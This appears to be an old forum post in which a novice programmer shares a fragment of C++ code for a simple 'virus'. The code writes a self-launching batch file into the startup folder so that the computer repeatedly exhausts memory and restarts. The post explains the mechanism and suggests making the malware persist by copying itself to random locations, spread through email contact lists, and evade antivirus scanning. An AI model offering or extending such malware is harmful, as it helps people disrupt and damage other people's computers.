I don't think that any of you should be told how to make a virus, you seem to be too enticed by the darker side of hacking and programming. If you show the right ethics and wish to learn for your own purposes, then that is fine, but going out and destroying computers with overly sized payloads is not very nice.
However if you happen to be one of the people who want to learn for educational purposes, then this code is for you:
//Copyright Intequillis 2005
strcpy(str,"@echo off\ncls\nstart virus.bat\nexit");
For you who wish to know how this works:
The program basically creates a file called virus.bat in the startup folder of your computer. The code inside startup.bat is simple, it opens the file, ultimately, this file (virus.bat) is the payload. It will keep opening itself until all the virtual memory is used up, forcing the computer ro shutdown/restart, it will continue to do this until booted from floppy or CD (to delete the file virus.bat).
You could take it further by placing the .exe file in the startup folder. This would mean that the person running the computer would also need to delete that file in order to get rid of the virus. This ofcourse can also be taken further by making the .exe file copy itself to other locations (random) so that it creates the .bat file again.
That wasn't too hard now, was it?
I'm new too C++ myself, so this virus is basic. Very basic. They range from things as simple as that, to ones more complex ones that YOU cannot even think about. You simpely don't have the right attitude to computers (Lamers and people who want to be malicious).
virii are quite a complex thing to make, that is if you don't understand how they work. I reccommend getting into them at a young age and learning a language like batch as a first language seeing as it is a very easy to learn language that will not get picked up as a virus if you scan it (Unless you do something like make it copy itself to lots of locations on your computer then send itself out to people on your outlook express contact lists, etc...), but even so, it is still powerful, yet not in the league of C++/C or assembly.
I advise learning languages in this order:
<> = Optional
That is the order I plan on doing things, I am currently on the C++ stage of it; previous languages help you to understand the syntax of other languages, and eventually it becomes a matter of understanding the syntax opposed to learning commands.